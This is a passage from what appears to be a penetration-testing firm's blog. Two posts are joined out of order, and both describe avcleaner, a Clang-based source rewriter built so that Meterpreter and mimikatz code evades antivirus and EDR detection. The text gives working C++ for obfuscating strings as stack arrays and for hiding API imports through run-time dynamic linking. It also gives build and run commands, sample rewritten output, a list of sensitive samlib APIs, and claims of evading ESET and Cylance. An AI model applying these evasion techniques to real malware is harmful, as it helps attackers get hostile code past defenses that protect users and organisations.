    std::string Replacement = Utils::translateStringToIdentifier(_ApiName);

    // inject Run-time dynamic linking
    if (!addGetProcAddress(CallExpression, pContext, Replacement, _ApiName))
        return false;

    // MessageBoxA -> random identifier generated above
    return replaceIdentifier(CallExpression, _ApiName, Replacement);
}

The ReplaceText Clang AP is used to rename the function identifier:

bool ApiMatchHandler::replaceIdentifier(const CallExpr *CallExpression, const std::string &ApiName,
                                        const std::string &NewIdentifier) {
    return this->ASTRewriter->ReplaceText(CallExpression->getBeginLoc(), ApiName.length(), NewIdentifier);
}

Insert LoadLibrary / GetProcAddress

Injecting Run-time dynamic linking for the API that we would like to add is a multi-step process:

  • Insert the API prototype, either at the top of the translation unit or in the enclosing function. To keep it simple, we opt for the latter, but we need to ensure that it was not already added in case the API is called several times in the same function, which would happen if there are subsequent calls to the same API.
  • Insert the line HANDLE <random identifier> LoadLibrary(<library name>);
  • Insert the call to GetProcAddress.

Of course, to avoid inserting obvious string literals while doing this, each string must be written as a stack string instead. This makes the code a bit tedious to read but nothing too complex:

bool ApiMatchHandler::addGetProcAddress(const clang::CallExpr *pCallExpression, clang::ASTContext *const pContext,
                                        const std::string &NewIdentifier, std::string &ApiName) {

    SourceRange EnclosingFunctionRange = findInjectionSpot(pContext, clang::ast_type_traits::DynTypedNode(),
                                                           *pCallExpression, 0);

    std::stringstream Result;

    // add function prototype if not already added
    if(std::find(TypedefAdded.begin(), TypedefAdded.end(), pCallExpression->getDirectCallee()) == TypedefAdded.end()) {

        Result << "\t" << _TypeDef << "\n";
    }

    // add LoadLibrary with obfuscated strings
    std::string LoadLibraryVariable = Utils::translateStringToIdentifier(_Library);
    std::string LoadLibraryString = Utils::generateVariableDeclaration(LoadLibraryVariable, _Library);
    std::string LoadLibraryHandleIdentifier = Utils::translateStringToIdentifier("hHandle_"+_Library);
    Result << "\t" << LoadLibraryString << std::endl;
    Result << "\tHANDLE " << LoadLibraryHandleIdentifier << " = LoadLibrary(" << LoadLibraryVariable << ");\n";

    // add GetProcAddress with obfuscated string: TypeDef NewIdentifier = (TypeDef) GetProcAddress(handleIdentifier, ApiName)
    std::string ApiNameIdentifier = Utils::translateStringToIdentifier(ApiName);
    std::string ApiNameDecl = Utils::generateVariableDeclaration(ApiNameIdentifier, ApiName);
    Result << "\t" << ApiNameDecl << "\n";
    Result << "\t_ "<< ApiName << " " << NewIdentifier << " = (_" << ApiName << ") GetProcAddress("
           << LoadLibraryHandleIdentifier << ", " << ApiNameIdentifier << ");\n";

    TypedefAdded.push_back(pCallExpression->getDirectCallee());

    // add everything at the beginning of the function.
    return !(ASTRewriter->InsertText(EnclosingFunctionRange.getBegin(), Result.str()));
}

Test

git clone https://github.com/scrt/avcleaner
mkdir avcleaner/CMakeBuild && cd avcleaner/CMakeBuild
cmake ..
make
cd ..

To test that everything works as expected, the following test file is used:

#include <Windows.h>

int main(int argc, char** argv) {

    MessageBoxA(NULL, "Test", "Something", MB_OK);
    MessageBoxA(NULL, "Another test", "Another something", MB_OK);
    return 0;
}

Run the obfuscator:

./CMakeBuild/avcleaner.bin test/messagebox_simple.c --strings=true --api=true -- -D _WIN64 -D _UNICODE -D UNICODE -D _WINSOCK_DEPRECATED_NO_WARNINGS\
 -I /usr/local/Cellar/llvm/9.0.1\
 -I /Users/vladimir/dev/scrt/avcleaner/Include/msvc-14.15.26726-include\
 -I /Users/vladimir/dev/scrt/avcleaner/Include/10.0.17134.0/ucrt\
 -I /Users/vladimir/dev/scrt/avcleaner/Include/10.0.17134.0/shared\
 -I /Users/vladimir/dev/scrt/avcleaner/Include/10.0.17134.0/um\
 -I /Users/vladimir/dev/scrt/avcleaner/Include/10.0.17134.0/winrt -w -fdebug-compilation-dir -fno-use-cxa-atexit -fms-extensions -fms-compatibility -fms-compatibility-version=19.15.26726 -std=c++14 -fdelayed-template-parsing -fobjc-runtime=gcc -fcxx-exceptions -fexceptions -fdiagnostics-show-option -fcolor-diagnostics -x c++ -ferror-limit=1900 -target x86_64-pc-windows-msvc19.15.26726 -fsyntax-only -disable-free -disable-llvm-verifier -discard-value-names -dwarf-column-info -debugger-tuning=gdb -momit-leaf-frame-pointer -v

Inspect the result:

#include <Windows.h>

int main(int argc, char** argv) {
    
	const char  hid_Someth_lNGj92poubUG[] = {'\x53','\x6f','\x6d','\x65','\x74','\x68','\x69','\x6e','\x67',0};

	const char  hid_Anothe_UP7KUo4Sa8LC[] = {'\x41','\x6e','\x6f','\x74','\x68','\x65','\x72','\x20','\x74','\x65','\x73','\x74',0};

	const char  hid_Anothe_ACsNhmIcS1tA[] = {'\x41','\x6e','\x6f','\x74','\x68','\x65','\x72','\x20','\x73','\x6f','\x6d','\x65','\x74','\x68','\x69','\x6e','\x67',0};
	typedef int (*_MessageBoxA)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
	TCHAR hid_User___Bhk5rL2239Kc[] = {'\x55','\x73','\x65','\x72','\x33','\x32','\x2e','\x64','\x6c','\x6c',0};

	HANDLE hid_hHandl_PFP2JD4HjR8w = LoadLibrary(hid_User___Bhk5rL2239Kc);
	TCHAR hid_Messag_drqxgJLSrxfT[] = {'\x4d','\x65','\x73','\x73','\x61','\x67','\x65','\x42','\x6f','\x78','\x41',0};

	_MessageBoxA hid_Messag_1W70P1kc8OJv = (_MessageBoxA) GetProcAddress(hid_hHandl_PFP2JD4HjR8w, hid_Messag_drqxgJLSrxfT);
	TCHAR hid_User___EMmJBb201EuJ[] = {'\x55','\x73','\x65','\x72','\x33','\x32','\x2e','\x64','\x6c','\x6c',0};

	HANDLE hid_hHandl_vU1riOrVWM8g = LoadLibrary(hid_User___EMmJBb201EuJ);
	TCHAR hid_Messag_GoaJMFscXsdw[] = {'\x4d','\x65','\x73','\x73','\x61','\x67','\x65','\x42','\x6f','\x78','\x41',0};

	_MessageBoxA hid_Messag_6nzSLR0dttUn = (_MessageBoxA) GetProcAddress(hid_hHandl_vU1riOrVWM8g, hid_Messag_GoaJMFscXsdw);
hid_Messag_1W70P1kc8OJv(NULL, "Test", hid_Someth_lNGj92poubUG, MB_OK);
    hid_Messag_6nzSLR0dttUn(NULL, hid_Anothe_UP7KUo4Sa8LC, hid_Anothe_ACsNhmIcS1tA, MB_OK);
    return 0;
}

As you can see, the combination of both the string obfuscation and API obfuscation passes are quite powerful. The string “Test” was left out because we decided to ignore small strings. Then, the obfuscated source code can be built:

$ cp test/messagebox_simple.c.patch /tmp/test.c
$ x86_64-w64-mingw32-gcc /tmp/test.c -o /tmp/toto.exe

Testing on a Windows 10 virtual machine showed that the original features were kept functional. More importantly, there are no “MessageBox” strings in the obfuscated binary:

$ rabin2 -zz /tmp/toto.exe | grep MessageBox | wc -l
  0

Generalisation

With regard to the antivirus ESET Nod32, we discovered that it was important to hide API imports related to samlib.dll, especially the APIs in the list below:

  • SamConnect
  • SamConnectWithCreds
  • SamEnumerateDomainsInSamServer
  • SamLookupDomainInSamServer
  • SamOpenDomain
  • SamOpenUser
  • SamOpenGroup
  • SamOpenAlias
  • SamQueryInformationUser
  • SamSetInformationUser
  • SamiChangePasswordUser
  • SamGetGroupsForUser
  • SamGetAliasMembership
  • SamGetMembersInGroup
  • SamGetMembersInAlias
  • SamEnumerateUsersInDomain
  • SamEnumerateGroupsInDomain
  • SamEnumerateAliasesInDomain
  • SamLookupNamesInDomain
  • SamLookupIdsInDomain
  • SamRidToSid
  • SamCloseHandle
  • SamFreeMemory

These functions are not black-listed anywhere in the AV engine as far as we could tell, but they do somehow increase the internal detection confidence score. So, we must register an ApiCallConsumer for each of these functions, which means that we need their names and their function prototypes:

static std::map<std::string, std::string> ApiToHide_samlib = {
    {"SamConnect",                     "typedef NTSTATUS (__stdcall* _SamEnumerateDomainsInSamServer)(SAMPR_HANDLE ServerHandle, DWORD * EnumerationContext, PSAMPR_RID_ENUMERATION* Buffer, DWORD PreferedMaximumLength,DWORD * CountReturned);"},
    {"SamConnectWithCreds",            "typedef NTSTATUS(__stdcall* _SamConnect)(PUNICODE_STRING ServerName, SAMPR_HANDLE * ServerHandle, ACCESS_MASK DesiredAccess, BOOLEAN Trusted);"},
    {"SamEnumerateDomainsInSamServer", "typedef NTSTATUS(__stdcall* _SamConnectWithCreds)(PUNICODE_STRING ServerName, SAMPR_HANDLE * ServerHandle, ACCESS_MASK DesiredAccess, LSA_OBJECT_ATTRIBUTES * ObjectAttributes, RPC_AUTH_IDENTITY_HANDLE AuthIdentity, PWSTR ServerPrincName, ULONG * unk0);"},
    ...
}

And then, we update main.cpp to iterate over this collection and handle each one:

for(auto const& el: ApiToHide_samlib){

    auto Cons = std::make_unique<ApiCallConsumer*>(new ApiCallConsumer(el.first, el.second,
                                                                        "samlib.dll"));
    consumers.push_back(*Cons);
}

Here, std::make_unique is invaluable because it allows us to instantiate objects on the heap in this loop, while sparing us the effort to manually free those objects later on. They will be freed automatically when they are no longer used.

Finally, we can battle test the obfuscator against mimikatz, especially kuhl_m_lsadump.c:

bash run_example_mimikatz.sh test/kuhl_m_lsadump.c

This produce an interesting result:

Run-time dynamic linking for API imported from samlib.dll

Actual function calls are correctly replaced:

Function calls imported from samlib.dll are correctly replaced.

The strings inside the macro “PRINT_ERROR” were left out because we noped out this macro with a do{}while(0). As a side note, we did not find a better project to find bugs in the obfuscator than mimikatz. The code style is indeed quite exotic 🙂 .

Improvements

Here are some exercices left to the reader 🙂

More stealth

You don’t actually need the API LoadLibrary / GetProcAddress to perform run-time dynamic linking.

It is best to reimplement these functions to avoid hooks, and there already are open-source projects that allow you to do that (ReflectiveDLLInjection).

If you managed to read this far, you know that you only have to inject an implementation for these functions at the top of the translation unit (with findInjectionSpot) and update the method addGetProcAddress to use your implementation instead of the WinAPI.

Error handling

  • LoadLibrary returns NULL in case it was not successful, so it is possible to add a check for this and gracefully recover from this error. In the current situation, the application may very well crash.
  • GetProcAddress also returns NULL in case of errors and it is important to check for this as well.

Conclusion

In this blog post, we showed how it is possible to accurately replace function calls in C/C++ code-bases without using regexes. All of that was realised to prevent antivirus software to statically collect behaviour information about Meterpreter or other software that we use during our pentesting engagements.

Applied to ESET Nod32, this was a key step to allow every Meterpreter modules to go through its net undetected, and was definitely helpful for the more advanced products.

Hiding API imports is one thing, but once the malware executes, there are ways for a security software to gather behavioural information by monitoring API calls.

In view of that, the next blog post will be about automated refactoring of suspicious Win32 APIs to direct syscalls. This is another key step to circumvent run-time detection realised with userland hooks for AV such as Cylance, Traps and Kaspersky.

References

[1] The Rootkit Arsenal, Chapter 11, p.480.
[2] https://devblogs.microsoft.com/cppblog/exploring-clang-tooling-part-2-examining-the-clang-ast-with-clang-query/

Vladimir Meier

Engineering antivirus evasion

By: plowsec
19 June 2020 at 08:54

tl;dr: this blog post documents some aspects of our research on antivirus software and how we managed to automatically refactor Meterpreter to bypass every AV/EDR we were put up against. While the ideas for every technique and the implementation of the string obfuscation pass are detailed below, we decided to publish details on API imports hiding / syscalls rewriting in future blog posts to keep this one as short as possible. The source code is available at https://github.com/scrt/avcleaner


Among the defensive measures a company can implement to protect its information systems against attacks, security software such as antivirus or EDR often come up as an essential toolset to have. While it used to be rather easy to circumvent any kind of malware detection mechanism in the past years, doing so nowadays certainly involves more effort.

On the other hand, communicating about the risks associated with a vulnerability is really challenging in case the Proof-of-Concept to exploit it is itself blocked by an antivirus. While one can claim that it is always theoretically possible to bypass the detection [1] and leave it at that, actually doing it may add some strength to the argument.

In addition, there are vulnerabilities that can only be discovered with an existing foothold on a system. For example, in the case where a pentester is not able to get that initial level of access, the audit’s result would not accurately depict the actual security level of the systems in scope.

In view of that, there is a need to be able to circumvent antivirus software. To complicate things, at SCRT we rely on publicly available, open-source tools whenever possible, to emphasise that our work is reproducible by anyone skilled enough to use them, and does not depend on private, expensive tools.

Problem statement

The community likes to categorise the detection mechanisms of any antivirus as being “static” or “dynamic”. Generally, if detection is triggered before the malware’s execution, it is seen as a kind of static detection.
However, it is worth knowing that a static detection mechanism such as signatures can be invoked during the malware’s execution in reaction to events such as process creations, in-memory file downloads, and so on.
In any case, if we want to use the good old Meterpreter against any kind of security software, we must modify it in such a way that it fulfills the following requirements:

  • Bypass any static signature, whether during a filesystem scan or a memory scan.
  • Bypass “behavioural detection” which, more often than not, relates to evading userland API hooking.

However, Meterpreter comprises several modules, and the whole codebase amounts to around 700’000 lines of code. In addition, it is constantly updated, which means running a private fork of the project is sure to scale very poorly.

In short, we need a way to transform the codebase automatically.

Solutions

After years of experience bypassing antivirus software, if there is any kind of insight that we could share with the community, it would be that a malware detection is almost always trivially based on strings, API hooks, or a combination of both.

Even for the products that implement machine learning classifiers such as Cylance, a malware that does not have strings, API imports and hookable API calls is sure to go through the net like a soccer ball through Sergio Rico’s defence.

Meterpreter has thousands of strings, API imports are not hidden in any way and sensitive APIs such as “WriteProcessMemory” can be intercepted easily with a userland API hook. So, we need to remedy that in an automated fashion, which yields two potential solutions:

  • Source-to-source code refactoring
  • LLVM passes to obfuscate the code base at compilation time.

The latter would be the preferred approach, and many popular researches reached the same conclusion [2]. The main reason is that a transformation pass can be written once and reused independently of the software’s programming language or target architecture.

Image from: http://www.aosabook.org/en/llvm.html

However, doing so requires the ability to compile Meterpreter with a compiler other than Visual Studio. While we have published some work to change that in December 2018, adoption in the official codebase is still an ongoing process more than a year later.

In the meantime, we have decided to implement the first approach out of spite. After a thorough review of the state-of-the-art of source code refactoring, libTooling (part of the Clang/LLVM toolchain) appeared to be the only viable candidate to parse C/C++ source code and modify it.

Note: since the codebase is strongly Visual Studio dependent, Clang will fail to parse a large part of Metepreter. However, it was still possible to bypass the target antivirus with that half-success. And here we probably have the only advantage of source-to-source transformation over compile-time transformation: the latter requires the whole project to compile without any errors. The former is resilient to thousands of compilation errors; you just end up with an incomplete Abstract Syntax Tree, which is perfectly fine.

LLVM passes vs libTooling

String obfuscation

In C/C++, a string may be located in many different contexts. libTooling is not really pleasurable to toy with, so we have applied Pareto’s Law and limited ourselves to those that cover the most suspicious string occurrences within Meterpreter’s codebase:

  • Function arguments
  • List initializers

Function arguments

For instance, we know for a fact that ESET Nod32 will flag the string “ntdll” as being suspicious in the following context:

ntdll = LoadLibrary(TEXT("ntdll"))

However, rewriting this code snippet in the following manner successfully bypasses the detection:

wchar_t ntdll_str[] = {'n','t','d','l','l',0};
ntdll = LoadLibrary(ntdll_str)

Behind the scenes, the first snippet will cause the string “ntdll” to be stored inside the .rdata section of the resulting binary, and can be easily spotted by the antivirus. The second snippet will cause the string to be stored on the stack at runtime, and is statically indistinguishable from code, at least in the general case. IDA Pro or alternatives are often able to recognise the string, but they also run more advanced and computationally intensive analyses on the binary.

List initializers

In Meterpreter’s codebase, this kind of construct can be found in several files, for instance in c/meterpreter/source/extensions/extapi/extapi.c:

Command customCommands[] =
{
COMMAND_REQ("extapi_window_enum", request_window_enum),
COMMAND_REQ("extapi_service_enum", request_service_enum),
COMMAND_REQ("extapi_service_query", request_service_query),
COMMAND_REQ("extapi_service_control", request_service_control),
COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
COMMAND_REQ("extapi_clipboard_monitor_purge", request_clipboard_monitor_purge),
COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
COMMAND_REQ("extapi_ntds_parse", ntds_parse),
COMMAND_REQ("extapi_wmi_query", request_wmi_query),
COMMAND_REQ("extapi_pageant_send_query", request_pageant_send_query),
...
}

Those strings will be stored in clear-text in the .rdata section of ext_server_espia.x64.dll and picked up by ESET Nod32 for instance.

To make things worse, those strings are parameters to a macro, located in a list initialiser. This introduces a bunch of tricky corner cases that are not obvious to overcome. The goal is to rewrite this snippet automatically as follows:

char hid_extapi_UQOoNXigAPq4[] = {'e','x','t','a','p','i','_','w','i','n','d','o','w','_','e','n','u','m',0};
char hid_extapi_vhFHmZ8u2hfz[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','e','n','u','m',0};
char hid_extapi_pW25eeIGBeru[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','q','u','e','r','y'
0};
char hid_extapi_S4Ws57MYBjib[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','c','o','n','t','r'
'o','l',0};
char hid_extapi_HJ0lD9Dl56A4[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','g','e','t'
'_','d','a','t','a',0};
char hid_extapi_IiEzXils3UsR[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','s','e','t'
'_','d','a','t','a',0};
char hid_extapi_czLOBo0HcqCP[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','s','t','a','r','t',0};
char hid_extapi_WcWbTrsQujiT[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','a','u','s','e',0};
char hid_extapi_rPiFTZW4ShwA[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','r','e','s','u','m','e',0};
char hid_extapi_05fAoaZLqOoy[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','u','r','g','e',0};
char hid_extapi_cOOyHTPTvZGK[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','s','t','o','p',0};
char hid_extapi_smtmvW05cI9y[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','d','u','m','p',0};
char hid_extapi_01kuYCM8z49k[] = {'e','x','t','a','p','i','_','a','d','s','i','_','d','o','m','a','i','n','_','q','u','e','r','y',0};
char hid_extapi_SMK9uFj6nThk[] = {'e','x','t','a','p','i','_','n','t','d','s','_','p','a','r','s','e',0};
char hid_extapi_PHxnGM7M0609[] = {'e','x','t','a','p','i','_','w','m','i','_','q','u','e','r','y',0};
char hid_extapi_J7EGS6FRHwkV[] = {'e','x','t','a','p','i','_','p','a','g','e','a','n','t','_','s','e','n','d','_','q','u','e','r','y',0};

Command customCommands[] =
{

    COMMAND_REQ(hid_extapi_UQOoNXigAPq4, request_window_enum),
    COMMAND_REQ(hid_extapi_vhFHmZ8u2hfz, request_service_enum),
    COMMAND_REQ(hid_extapi_pW25eeIGBeru, request_service_query),
    COMMAND_REQ(hid_extapi_S4Ws57MYBjib, request_service_control),
    COMMAND_REQ(hid_extapi_HJ0lD9Dl56A4, request_clipboard_get_data),
    COMMAND_REQ(hid_extapi_IiEzXils3UsR, request_clipboard_set_data),
    COMMAND_REQ(hid_extapi_czLOBo0HcqCP, request_clipboard_monitor_start),
    COMMAND_REQ(hid_extapi_WcWbTrsQujiT, request_clipboard_monitor_pause),
    COMMAND_REQ(hid_extapi_rPiFTZW4ShwA, request_clipboard_monitor_resume),
    COMMAND_REQ(hid_extapi_05fAoaZLqOoy, request_clipboard_monitor_purge),
    COMMAND_REQ(hid_extapi_cOOyHTPTvZGK, request_clipboard_monitor_stop),
    COMMAND_REQ(hid_extapi_smtmvW05cI9y, request_clipboard_monitor_dump),
    COMMAND_REQ(hid_extapi_01kuYCM8z49k, request_adsi_domain_query),
    COMMAND_REQ(hid_extapi_SMK9uFj6nThk, ntds_parse),
    COMMAND_REQ(hid_extapi_PHxnGM7M0609, request_wmi_query),
    COMMAND_REQ(hid_extapi_J7EGS6FRHwkV, request_pageant_send_query),
    COMMAND_TERMINATOR
};

Hiding API Imports

Calling functions exported by external libraries causes the linker to write an entry into the Import Address Table (IAT). As a result, the function name will appear as clear-text within the binary, and thus can be recovered statically without even executing the malware. Of course, there are function names that are more suspicious than others. It would be wise to hide all the suspicious ones and keep the ones that are present in the majority of legitimate binaries.
For instance, in the kiwi extension of Metepreter, one can find the following line:

enumStatus = SamEnumerateUsersInDomain(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);

This function is exported by samlib.dll, so the linker will cause the strings “samlib.dll” and “SamEnumerateUsersInDomain” to appear in the compiled binary.

To solve this issue, it is possible to import the API at runtime using LoadLibrary / GetProcAddresss. Of course, both these functions work with strings, so they must be obfuscated as well. Thus, we would like to automatically rewrite the above snippet as follows:

typedef NTSTATUS(__stdcall* _SamEnumerateUsersInDomain)(
    SAMPR_HANDLE DomainHandle,
    PDWORD EnumerationContext,
    DWORD UserAccountControl,
    PSAMPR_RID_ENUMERATION* Buffer,
    DWORD PreferedMaximumLength,
    PDWORD CountReturned
);
char hid_SAMLIB_01zmejmkLCHt[] = {'S','A','M','L','I','B','.','D','L','L',0};
char hid_SamEnu_BZxlW5ZBUAAe[] = {'S','a','m','E','n','u','m','e','r','a','t','e','U','s','e','r','s','I','n','D','o','m','a','i','n',0};
HANDLE hhid_SAMLIB_BZUriyLrlgrJ = LoadLibrary(hid_SAMLIB_01zmejmkLCHt);
_SamEnumerateUsersInDomain ffSamEnumerateUsersInDoma =(_SamEnumerateUsersInDomain)GetProcAddress(hhid_SAMLIB_BZUriyLrlgrJ, hid_SamEnu_BZxlW5ZBUAAe);
enumStatus = ffSamEnumerateUsersInDoma(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);

Rewriting syscalls

By default, using the migrate command of Meterpreter on a machine where Cylance is running triggers the antivirus detection (for now, just take our word for it). Cylance detects the process injection with a userland hook. To get around the detection, one can remove the hook, which seems to be the trending approach nowadays, or simply avoid it altogether. We found it simpler to read ntdll, recover the syscall number and insert it in a ready-to-call shellcode, which effectively gets around any antivirus’ userland’s hooks. To date, we have yet to find a Blue-Team that identifies NTDLL.DLL being read from disk as being “suspicious”.

Implementation

All the aforementioned ideas can be implemented in a source code refactoring tool based on libTooling. This section documents the way we did it, which is a compromise between time available and patience with the lack of libTooling documentation. So, there is room for improvements, and in case something looks off to you, it probably is and we would love to hear about it.

Abstract Syntax Tree 101

A compiler typically comprises several components, the most common ones being a Parser and a Lexer. When source code is fed to the compiler, it first generates a Parse Tree out of the original source code (what the programmer wrote), and then adds semantic information to the nodes (what the compiler truly needs). The result of this step is called an Abstract Syntax Tree. Wikipedia showcases the following example:

while b ≠ 0
  if a > b
    a := a − b
  else
    b := b − a
return a

A typical AST for this small program would look like this:

Example of an Abstract Syntax Tree (https://en.wikipedia.org/wiki/Abstract_syntax_tree)

This data structure allows for more precise algorithms when it comes to writing programs that understand properties of other programs, so it seems like a good choice to perform large scale code refactoring.

Clang’s Abstract Syntax Tree

Since we need to modify source code The Right WayTM, we will need to get acquainted with Clang‘s AST. The good news is that Clang exposes a command-line switch to dump the AST with pretty colours. The bad news is that for everything but toy projects, setting the correct compiler flags is… tricky.

For now, let us have a realistic yet simple enough test translation unit:

#include <windows.h>

typedef NTSTATUS (NTAPI *f_NtMapViewOfSection)(HANDLE, HANDLE, PVOID *, ULONG, ULONG,
PLARGE_INTEGER, PULONG, ULONG, ULONG, ULONG);

int main(void)
{
    f_NtMapViewOfSection lNtMapViewOfSection;
    HMODULE ntdll;

    if (!(ntdll = LoadLibrary(TEXT("ntdll"))))
    {
        return -1;
    }

    lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
    lNtMapViewOfSection(0,0,0,0,0,0,0,0,0,0);
    return 0;
}

Then, punch-in the following script into a .sh file (don’t ask how we came up with all those compiler flags, you will bring back painful memories):

WIN_INCLUDE="/Users/vladimir/headers/winsdk"
CLANG_PATH="/usr/local/Cellar/llvm/9.0.1"#"/usr/lib/clang/8.0.1/"

clang -cc1 -ast-dump "$1" -D "_WIN64" -D "_UNICODE" -D "UNICODE" -D "_WINSOCK_DEPRECATED_NO_WARNINGS"\
  "-I" "$CLANG_PATH/include" \
  "-I" "$CLANG_PATH" \
  "-I" "$WIN_INCLUDE/Include/msvc-14.15.26726-include"\
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/ucrt" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/shared" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/um" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/winrt" \
  "-fdeprecated-macro" \
  "-w" \
  "-fdebug-compilation-dir"\
  "-fno-use-cxa-atexit" "-fms-extensions" "-fms-compatibility" \
  "-fms-compatibility-version=19.15.26726" "-std=c++14" "-fdelayed-template-parsing" "-fobjc-runtime=gcc" "-fcxx-exceptions" "-fexceptions" "-fseh-exceptions" "-fdiagnostics-show-option" "-fcolor-diagnostics" "-x" "c++"

Notice that WIN_INCLUDE points to a folder containing all the required headers to interact with the Win32 API. These were taken as-is from a standard Windows 10 install, and to save you some headaches, we recommend that you do the same instead of opting for MinGW’s ones. Then, call the script with the test C file as argument. While this produces a 18MB file, it is easy enough to navigate to the interesting part of the AST by searching for one of the string literals we defined, for instance “NtMapViewOfSection“:

Now that we have a way to visualise the AST, it is much simpler to understand how we will have to update the nodes to achieve our result, without introducing any syntax errors in the resulting source code. The subsequent sections contain the implementation details related to AST manipulation with libTooling.

ClangTool boilerplate

Unsurprisingly, there is some required boilerplate code before getting into the interesting stuff, so punch-in the following code into main.cpp:

#include "clang/AST/ASTConsumer.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/Decl.h"
#include "clang/AST/Type.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/Basic/SourceManager.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Rewrite/Core/Rewriter.h"

// LLVM includes
#include "llvm/ADT/ArrayRef.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/raw_ostream.h"

#include "Consumer.h"
#include "MatchHandler.h"

#include <iostream>
#include <memory>
#include <string>
#include <vector>
#include <fstream>
#include <clang/Tooling/Inclusions/IncludeStyle.h>
#include <clang/Tooling/Inclusions/HeaderIncludes.h>
#include <sstream>

namespace ClSetup {
    llvm::cl::OptionCategory ToolCategory("StringEncryptor");
}

namespace StringEncryptor {

    clang::Rewriter ASTRewriter;
    class Action : public clang::ASTFrontendAction {

    public:
        using ASTConsumerPointer = std::unique_ptr<clang::ASTConsumer>;

        ASTConsumerPointer CreateASTConsumer(clang::CompilerInstance &Compiler,
                                             llvm::StringRef Filename) override {

            ASTRewriter.setSourceMgr(Compiler.getSourceManager(), Compiler.getLangOpts());
            std::vector<ASTConsumer*> consumers;

            consumers.push_back(&StringConsumer);
  
            // several passes can be combined together by adding them to `consumers`
            auto TheConsumer = llvm::make_unique<Consumer>();
            TheConsumer->consumers = consumers;
            return TheConsumer;
        }

        bool BeginSourceFileAction(clang::CompilerInstance &Compiler) override {
            llvm::outs() << "Processing file " << '\n';
            return true;
        }

        void EndSourceFileAction() override {

            clang::SourceManager &SM = ASTRewriter.getSourceMgr();

            std::string FileName = SM.getFileEntryForID(SM.getMainFileID())->getName();
            llvm::errs() << "** EndSourceFileAction for: " << FileName << "\n";

            // Now emit the rewritten buffer.
            llvm::errs() << "Here is the edited source file :\n\n";
            std::string TypeS;
            llvm::raw_string_ostream s(TypeS);
            auto FileID = SM.getMainFileID();
            auto ReWriteBuffer = ASTRewriter.getRewriteBufferFor(FileID);

            if(ReWriteBuffer != nullptr)
                ReWriteBuffer->write((s));
            else{
                llvm::errs() << "File was not modified\n";
                return;
            }

            std::string result = s.str();
            std::ofstream fo(FileName);
       
            if(fo.is_open())
                fo << result;
            else
                llvm::errs() << "[!] Error saving result to " << FileName << "\n";
        }
    };
}

auto main(int argc, const char *argv[]) -> int {

    using namespace clang::tooling;
    using namespace ClSetup;

    CommonOptionsParser OptionsParser(argc, argv, ToolCategory);
    ClangTool Tool(OptionsParser.getCompilations(),
                   OptionsParser.getSourcePathList());

    auto Action = newFrontendActionFactory<StringEncryptor::Action>();
    return Tool.run(Action.get());
}

Since that boilerplate code is taken from examples in the official documentation, there is no need to describe it further. In fact, the only modification worth mentioning is inside CreateASTConsumer. Our end game is to run several tranformation passes on the same translation unit. It can be done by adding items to the consumers collection (the essential line is consumers.push_back(&...);).

String obfuscation

This section describes the most important implementation details regarding the string obfuscation pass, which comprises three steps:

  • Locate string literals in the source code.
  • Replace them with variables
  • Insert a variable definition / assignment at the appropriate location (enclosing function or global context).

Locating string literals in source code

StringConsumer can be defined as follows (at the beginning of the StringEncryptor namespace):

class StringEncryptionConsumer : public clang::ASTConsumer {
public:

    void HandleTranslationUnit(clang::ASTContext &Context) override {
        using namespace clang::ast_matchers;
        using namespace StringEncryptor;

        llvm::outs() << "[StringEncryption] Registering ASTMatcher...\n";
        MatchFinder Finder;
        MatchHandler Handler(&ASTRewriter);

        const auto Matcher = stringLiteral().bind("decl");

        Finder.addMatcher(Matcher, &Handler);
        Finder.matchAST(Context);
    }
};

StringEncryptionConsumer StringConsumer = StringEncryptionConsumer();

Given a translation unit, we can tell Clang to find a pattern inside the AST, as well as register a “handler” to be called whenever a match is found. The pattern matching exposed by Clang’s ASTMatcher is quite powerful, and yet underused here, since we only resort to it to locate string literals.

Then, we can get to the heart of the matter by implementing a MatchHandler, which will provide us with a MatchResult instance. A MatchResult contains a reference to the AST node identified, as well as priceless context information.

